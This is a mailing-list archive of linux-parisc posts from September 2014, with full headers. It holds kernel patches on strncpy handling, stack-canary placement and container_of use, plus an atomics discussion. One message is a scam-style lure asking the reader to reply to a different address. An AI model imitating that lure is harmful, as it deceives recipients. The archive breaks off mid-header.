         VKdh4kQB+YUCSx/QakaCx5BLcgy0l1WxuEUPiNwP5kC0BTT1S0WM0WU1R1xzqok1NaqL
         3GyWVwkJNVBKhfUs0Q2X7dPTA/fDTQEKokelxsD6W0UnCOucWcbz61e6GHuMe9QkZ7M2
         GWEQPHdxNtQ0XWHhm/RFqr00ZlMZ+6qcrTP2damKbUkScFF9ZsoOQQtB4o0ZD1U3VoHB
         4n6vGBG0Bo54MSKxIeElffsSuQSWkQO0R6JehyGejXdHEJUu19e6M4nIQPmw29/wc8/S
         JJFw==
X-Gm-Message-State: ALoCoQmpfCRYB7uAyngWRWZmPObbbjRaEGXaRK2vjECa3+pRwDX+mUteNTMWkXutrv9YPAd481Fm
X-Received: by 10.112.148.133 with SMTP id ts5mr21358800lbb.45.1410710421117;
        Sun, 14 Sep 2014 09:00:21 -0700 (PDT)
Original-Received: from localhost.localdomain (h-245-62.a218.priv.bahnhof.se. [85.24.245.62])
        by mx.google.com with ESMTPSA id k7sm3198099lak.22.2014.09.14.09.00.20
        for <multiple recipients>
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Sun, 14 Sep 2014 09:00:20 -0700 (PDT)
X-Mailer: git-send-email 1.7.10.4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6004 gmane.linux.kernel:1786924
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6004>

Using memset before strncpy just to ensure a trailing null
character is an unnecessary double writing of a string

Signed-off-by: Rickard Strandqvist <rickard_strandqvist@spectrumdigital.se>
---
 drivers/parisc/pdc_stable.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/parisc/pdc_stable.c b/drivers/parisc/pdc_stable.c
index 0f54ab6..76860ad 100644
--- a/drivers/parisc/pdc_stable.c
+++ b/drivers/parisc/pdc_stable.c
@@ -765,8 +765,8 @@ static ssize_t pdcs_auto_write(struct kobject *kobj,
 		return -EINVAL;
 
 	/* We'll use a local copy of buf */
-	memset(in, 0, count+1);
 	strncpy(in, buf, count);
+	in[count] = '\0';
 
 	/* Current flags are stored in primary boot path entry */
 	pathentry = &pdcspath_entry_primary;
-- 
1.7.10.4

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Diana <dede.bahtiar@lrs.co.id>
Newsgroups: gmane.linux.ports.parisc
Subject: H
Date: Mon, 15 Sep 2014 23:56:18 +0700 (WIT)
Lines: 10
Approved: news@gmane.org
Message-ID: <1991533393.28113.1410800178698.JavaMail.root__9599.31757902286$1410804448$gmane$org@lrs.co.id>
Reply-To: "Diana " <krk@netzero.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1410804448 28448 80.91.229.3 (15 Sep 2014 18:07:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 15 Sep 2014 18:07:28 +0000 (UTC)
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 15 20:07:22 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XTagJ-0001iZ-6p
	for glpp-linux-parisc@plane.gmane.org; Mon, 15 Sep 2014 20:07:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754261AbaIOSHN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 15 Sep 2014 14:07:13 -0400
Original-Received: from ip-27-50-27-180.cepat.net.id ([27.50.27.180]:35515 "EHLO
	lrs.co.id" rhost-flags-OK-FAIL-OK-FAIL) by vger.kernel.org with ESMTP
	id S1753046AbaIOSHG (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 15 Sep 2014 14:07:06 -0400
X-Greylist: delayed 2767 seconds by postgrey-1.27 at vger.kernel.org; Mon, 15 Sep 2014 14:07:00 EDT
Original-Received: from localhost (localhost [127.0.0.1])
	by lrs.co.id (Postfix) with ESMTP id 9617725ADBE5;
	Mon, 15 Sep 2014 23:56:30 +0700 (WIT)
X-Amavis-Modified: Mail body modified (using disclaimer) - lrs.co.id
X-Virus-Scanned: amavisd-new at lrs.co.id
Original-Received: from lrs.co.id ([127.0.0.1])
	by localhost (lrs.co.id [127.0.0.1]) (amavisd-new, port 10026)
	with ESMTP id VdYKBOBYdWNY; Mon, 15 Sep 2014 23:56:25 +0700 (WIT)
Original-Received: from lrs.co.id (lrs.co.id [27.50.27.180])
	by lrs.co.id (Postfix) with ESMTP id 174BE25ADBC9;
	Mon, 15 Sep 2014 23:56:19 +0700 (WIT)
X-Originating-IP: [37.157.245.7]
X-Mailer: Zimbra 8.0.1_GA_5438 (zclient/8.0.1_GA_5438)
Thread-Topic: H
Thread-Index: BCsrgmJWeXn+hR9ZrxEju4o9U7OCHw==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6005
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6005>

Please Revert back, your assistance is needed.
---------------------------------------
The Exhibitor at innoTrans, Berlin 2014
Hall : 15.1 / Stand no : 109 
http://www.virtualmarket.innotrans.de/?Action=showCompany&id=346242
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCHv3] Implement gcc 64bit atomic operations and fix the broken
 8/16 bit ones
Date: Mon, 15 Sep 2014 23:17:44 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <54175778.3060809@gmx.de>
References: <507b1e2873b0724964068ba2b4159b6d@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1410815887 15872 80.91.229.3 (15 Sep 2014 21:18:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 15 Sep 2014 21:18:07 +0000 (UTC)
To: Guy Martin <gmsoft@tuxicoman.be>, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 15 23:18:00 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XTdep-0005bx-Pq
	for glpp-linux-parisc@plane.gmane.org; Mon, 15 Sep 2014 23:18:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754566AbaIOVR4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 15 Sep 2014 17:17:56 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:60579 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754629AbaIOVRy (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 15 Sep 2014 17:17:54 -0400
Original-Received: from [192.168.178.60] ([84.173.28.76]) by mail.gmx.com (mrgmx102)
 with ESMTPSA (Nemesis) id 0MQdAP-1XupXQ3m3B-00TyTA; Mon, 15 Sep 2014 23:17:46
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.7.0
In-Reply-To: <507b1e2873b0724964068ba2b4159b6d@tuxicoman.be>
X-Provags-ID: V03:K0:sXFgmdHHzFjOkeh8kA7rzbRImoVA8Jj78FEkQYHH12gQQNsRelm
 XKgC4bctqsKuYXBHHofFN7eBMlGddt+8bJ0s+86qaSZnAAzf38QrJHysrrwVG0geqZZlnJ4
 ilq7VuBjvkiCgfwfWip1KBMwlbgPdiGInWJPlFiyMv8aRtx9aA6JUcnhS1qgXZ/3yzeSJNK
 ZJGufa026kzI0SL+J6oaQ==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6006
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6006>

Hi Guy,

On 09/12/2014 06:02 PM, Guy Martin wrote:
> Here is the latest set of patch for the 8/16/64 bit atomic gcc builtins.
>
> On the kernel side a new LWS is implemented allowing for variable size CAS.
> On gcc's side, the new LWS is used for 8/16/64 bit atomic builtins, keeping the old LWS for 32bit ops.
> Since 8 and 16 bit ops were broken, it's best to use the new LWS unconditionally for these.

I've pushed your kernel patch upstream for kernel 3.17.
Furthermore I've scheduled it for backporting into kernels >= 3.13.
I would have liked to go back to kernel 3.0, but then more patches would have needed to be backported.

Maybe someone now can start to push the gcc patch upstream?

Thanks!
Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCHv3] Implement gcc 64bit atomic operations and fix the broken 8/16 bit ones
Date: Mon, 15 Sep 2014 21:37:09 -0400
Lines: 28
Approved: news@gmane.org
Message-ID: <BLU436-SMTP2023EAC24A62D7D0C03BAD797C90@phx.gbl>
References: <507b1e2873b0724964068ba2b4159b6d@tuxicoman.be> <54175778.3060809@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1410831764 31025 80.91.229.3 (16 Sep 2014 01:42:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 16 Sep 2014 01:42:44 +0000 (UTC)
Cc: Guy Martin <gmsoft@tuxicoman.be>, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 16 03:42:37 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XThmt-0001nY-Rg
	for glpp-linux-parisc@plane.gmane.org; Tue, 16 Sep 2014 03:42:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754650AbaIPBmf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 15 Sep 2014 21:42:35 -0400
Original-Received: from blu004-omc4s6.hotmail.com ([65.55.111.145]:52857 "EHLO
	BLU004-OMC4S6.hotmail.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754303AbaIPBme (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 15 Sep 2014 21:42:34 -0400
X-Greylist: delayed 307 seconds by postgrey-1.27 at vger.kernel.org; Mon, 15 Sep 2014 21:42:34 EDT
Original-Received: from BLU436-SMTP202 ([65.55.111.135]) by BLU004-OMC4S6.hotmail.com over TLS secured channel with Microsoft SMTPSVC(7.5.7601.22724);
	 Mon, 15 Sep 2014 18:37:26 -0700
X-TMN: [fMJYRbbpGTCSxB+OA2z08WehTvZLzYQY]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.16] ([174.92.95.53]) by smtphm.sympatico.ca over TLS secured channel with Microsoft SMTPSVC(8.0.9200.16384);
	 Mon, 15 Sep 2014 18:37:25 -0700
In-Reply-To: <54175778.3060809@gmx.de>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 16 Sep 2014 01:37:25.0401 (UTC) FILETIME=[C4A7A890:01CFD14E]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6007
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6007>

On 15-Sep-14, at 5:17 PM, Helge Deller wrote:

> Maybe someone now can start to push the gcc patch upstream?

Although I don't have anything specific, this is a subtle area and I  
have had to fix bugs
in this code before.  I would like to see that this code actually  
works in the real world in
code that uses the GCC atomic support (e.g., glib2.0).  I'm still not  
sure we have correct
types in our code (arm revamped some of the types used in their  
implementation).

We have some time before gcc-5.0 is released.  As a new feature, it  
normally would
not be back ported without strong justification.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chuck Ebbert <cebbert.lkml@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] Fix end_of_stack() fn and location of stack canary for
 archs using STACK_GROWSUP
Date: Tue, 16 Sep 2014 02:37:36 -0500
Lines: 43
Approved: news@gmane.org
Message-ID: <20140916023736.49db964e@as>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1410853070 29105 80.91.229.3 (16 Sep 2014 07:37:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 16 Sep 2014 07:37:50 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	Aaron Tomlin <atomlin@redhat.com>,
	James Hogan <james.hogan@imgtec.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 16 09:37:43 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XTnKZ-0006mA-7u
	for glpp-linux-parisc@plane.gmane.org; Tue, 16 Sep 2014 09:37:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752360AbaIPHhm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 16 Sep 2014 03:37:42 -0400
Original-Received: from mail-ob0-f177.google.com ([209.85.214.177]:34680 "EHLO
	mail-ob0-f177.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751740AbaIPHhm (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 16 Sep 2014 03:37:42 -0400
Original-Received: by mail-ob0-f177.google.com with SMTP id wp4so3257025obc.8
        for <multiple recipients>; Tue, 16 Sep 2014 00:37:41 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=date:from:to:cc:subject:message-id:mime-version:content-type
         :content-transfer-encoding;
        bh=/YaCor1PKUqaUr2dzYGkJlzcCF/TKJzWpQ3O0Fd6/4U=;
        b=mfoRGYNw9hyrK/9zf6vDsZqTTn5xB/oFvORhImERpJmOBE58iLho2AaXm3j2egm3r/
         69YLrd8CWhavU8RTha4ZJhrNHo5370AS5+Tf0E/nLmzboeCZcP7s0KyPPLg/GC/Mf53g
         jtgEbabH7zgsQS1JRIdY1L/HchXcEeZv0rWalv63c30aQrFSwwkjnPrUF0BUKrKVrGzm
         pgkCVcIDFPg1OeOr3nvo9a7U0WGVDBbFp6xEOajwL/5uxnE6nz8fTgY37JdmlIV5zpkv
         OkDOwBqmewctgn1flVuSsK73HaT9RQsvuq32YYwvSDInfJshCZQBOsJw4ZoMLG7QCzGK
         kskw==
X-Received: by 10.60.174.3 with SMTP id bo3mr33241161oec.31.1410853061445;
        Tue, 16 Sep 2014 00:37:41 -0700 (PDT)
Original-Received: from as ([159.118.19.211])
        by mx.google.com with ESMTPSA id p10sm9266356obk.2.2014.09.16.00.37.40
        for <multiple recipients>
        (version=SSLv3 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Tue, 16 Sep 2014 00:37:40 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6008 gmane.linux.kernel:1788458
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6008>

Aaron Tomlin recently posted patches [1] to enable checking the stack canary on
every task switch. Looking at the canary code, I realized that every arch
(except ia64, which adds some space for register spill above the stack) shares a
definition of end_of_stack() that makes it the first long after the threadinfo.

For stacks that grow down, this low address is correct because the stack starts
at the end of the thread area and grows toward lower addresses. However, for
stacks that grow up, toward higher addresses, this is wrong. (The stack actually
grows away from the canary.) On these archs end_of_stack() should return the 
address of the last long, at the highest possible address for the stack.

[1] http://lkml.org/lkml/2014/9/12/293

Signed-off-by: Chuck Ebbert <cebbert.lkml@gmail.com>

---

Compile tested only, with Aaron's patches applied and the new option
CONFIG_SCHED_STACK_END_CHECK they add enabled. I have no way to test
this any further.

diff a/include/linux/sched.h b/include/linux/sched.h
--- a/include/linux/sched.h
+++ b/include/linux/sched.h
@@ -2610,7 +2610,11 @@ static inline void setup_thread_stack(struct task_struct *p, struct task_struct
 
 static inline unsigned long *end_of_stack(struct task_struct *p)
 {
+#ifdef CONFIG_STACK_GROWSUP
+	return (unsigned long *)((unsigned long)task_thread_info(p) + THREAD_SIZE) - 1;
+#else
 	return (unsigned long *)(task_thread_info(p) + 1);
+#endif
 }
 
 #endif


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Fabian Frederick <fabf@skynet.be>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.arm.kernel
Subject: [PATCH 0/6] video: fbdev: use container_of where possible
Date: Wed, 17 Sep 2014 21:00:13 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <1410980419-5326-1-git-send-email-fabf@skynet.be>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1410980465 24002 80.91.229.3 (17 Sep 2014 19:01:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 17 Sep 2014 19:01:05 +0000 (UTC)
Cc: daniel.vetter@intel.com, Fabian Frederick <fabf@skynet.be>,
	linux-fbdev@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
	linux-parisc@vger.kernel.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 17 21:00:56 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XUKTD-0006Q2-MY
	for glpp-linux-parisc@plane.gmane.org; Wed, 17 Sep 2014 21:00:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755953AbaIQTAu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 17 Sep 2014 15:00:50 -0400
Original-Received: from mailrelay005.isp.belgacom.be ([195.238.6.171]:37567 "EHLO
	mailrelay005.isp.belgacom.be" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755786AbaIQTAt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 17 Sep 2014 15:00:49 -0400
X-Belgacom-Dynamic: yes
X-IronPort-Anti-Spam-Filtered: true
X-IronPort-Anti-Spam-Result: AtkNAL/ZGVRXQCIg/2dsb2JhbABhgw22CgsFAXABmxeBFxcBeYRgI4EaiHkBv3+GCYluHYQ1BYYflm2MMokWg2A7gnkBAQE
Original-Received: from 32.34-64-87.adsl-dyn.isp.belgacom.be (HELO linux-zvq9.site) ([87.64.34.32])
  by relay.skynet.be with ESMTP; 17 Sep 2014 21:00:40 +0200
X-Mailer: git-send-email 2.1.0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6009 gmane.linux.kernel:1789715 gmane.linux.ports.arm.kernel:357465
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6009>

Small patchset using container_of instead of casting on first structure member address.

Fabian Frederick (6):
  video: fbdev: stifb.c: use container_of to resolve stifb_info from fb_info
  video: fbdev: sa1100fb.c: use container_of to resolve sa1100fb_info from fb_info
  video: fbdev: controlfb.c: use container_of to resolve fb_info_control from fb_info
  video: fbdev: cyber2000fb.c: use container_of to resolve cfb_info from fb_info
  video: fbdev: pxafb.c: use container_of to resolve pxafb_info/layer from fb_info
  video: fbdev: valkyriefb.c: use container_of to resolve fb_info_valkyrie from fb_info

 drivers/video/fbdev/controlfb.c   | 15 ++++++++++-----
 drivers/video/fbdev/cyber2000fb.c | 16 ++++++++--------
 drivers/video/fbdev/pxafb.c       | 20 ++++++++++----------
 drivers/video/fbdev/sa1100fb.c    | 18 ++++++++++++------
 drivers/video/fbdev/stifb.c       |  4 ++--
 drivers/video/fbdev/valkyriefb.c  | 12 ++++++++----
 6 files changed, 50 insertions(+), 35 deletions(-)

-- 
2.1.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Fabian Frederick <fabf@skynet.be>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 1/6] video: fbdev: stifb.c: use container_of to resolve stifb_info from fb_info
Date: Wed, 17 Sep 2014 21:00:14 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <1410980419-5326-2-git-send-email-fabf@skynet.be>
References: <1410980419-5326-1-git-send-email-fabf@skynet.be>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1410980619 25891 80.91.229.3 (17 Sep 2014 19:03:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 17 Sep 2014 19:03:39 +0000 (UTC)
Cc: daniel.vetter@intel.com, Fabian Frederick <fabf@skynet.be>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Jean-Christophe Plagniol-Villard <plagnioj@jcrosoft.com>,
	Tomi Valkeinen <tomi.valkeinen@ti.com>,
	linux-parisc@vger.kernel.org, linux-fbdev@vger.kernel.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 17 21:03:31 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XUKVm-0007NA-LZ
	for glpp-linux-parisc@plane.gmane.org; Wed, 17 Sep 2014 21:03:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756803AbaIQTD3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 17 Sep 2014 15:03:29 -0400
Original-Received: from mailrelay005.isp.belgacom.be ([195.238.6.171]:17035 "EHLO
	mailrelay005.isp.belgacom.be" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755802AbaIQTAu (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 17 Sep 2014 15:00:50 -0400
X-Belgacom-Dynamic: yes
X-IronPort-Anti-Spam-Filtered: true
X-IronPort-Anti-Spam-Result: AtgNAL/ZGVRXQCIg/2dsb2JhbABhgw22FQUBcAGbFwGBFhcBeYQEAQUnLyMQUTkeGYhCAb9nGIYJiW4HFoQ1BZ0MjDKJFoIbgUU7L4JKAQEB
Original-Received: from 32.34-64-87.adsl-dyn.isp.belgacom.be (HELO linux-zvq9.site) ([87.64.34.32])
  by relay.skynet.be with ESMTP; 17 Sep 2014 21:00:48 +0200
X-Mailer: git-send-email 2.1.0
In-Reply-To: <1410980419-5326-1-git-send-email-fabf@skynet.be>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6010 gmane.linux.kernel:1789725
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6010>

Use container_of instead of casting first structure member.

Signed-off-by: Fabian Frederick <fabf@skynet.be>
---
PARISC cross-compiled but untested.

 drivers/video/fbdev/stifb.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/drivers/video/fbdev/stifb.c b/drivers/video/fbdev/stifb.c
index cfe8a2f..86621fa 100644
--- a/drivers/video/fbdev/stifb.c
+++ b/drivers/video/fbdev/stifb.c
@@ -918,7 +918,7 @@ static int
 stifb_setcolreg(u_int regno, u_int red, u_int green,
 	      u_int blue, u_int transp, struct fb_info *info)
 {
-	struct stifb_info *fb = (struct stifb_info *) info;
+	struct stifb_info *fb = container_of(info, struct stifb_info, info);
 	u32 color;
 
 	if (regno >= NR_PALETTE)
@@ -978,7 +978,7 @@ stifb_setcolreg(u_int regno, u_int red, u_int green,
 static int
 stifb_blank(int blank_mode, struct fb_info *info)
 {
-	struct stifb_info *fb = (struct stifb_info *) info;
+	struct stifb_info *fb = container_of(info, struct stifb_info, info);
 	int enable = (blank_mode == 0) ? ENABLE : DISABLE;
 
 	switch (fb->id) {
-- 
2.1.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:10:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Hogan <james.hogan@imgtec.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.metag
Subject: Re: [PATCH] Fix end_of_stack() fn and location of stack canary for
 archs using STACK_GROWSUP
Date: Fri, 19 Sep 2014 12:21:37 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <541C11C1.2060105@imgtec.com>
References: <20140916023736.49db964e@as>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1411125750 4143 80.91.229.3 (19 Sep 2014 11:22:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 19 Sep 2014 11:22:30 +0000 (UTC)
Cc: <linux-kernel@vger.kernel.org>, <linux-parisc@vger.kernel.org>,
	"Aaron Tomlin" <atomlin@redhat.com>,
	linux-metag <linux-metag@vger.kernel.org>
To: Chuck Ebbert <cebbert.lkml@gmail.com>, Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Sep 19 13:22:22 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XUwGc-0004kx-10
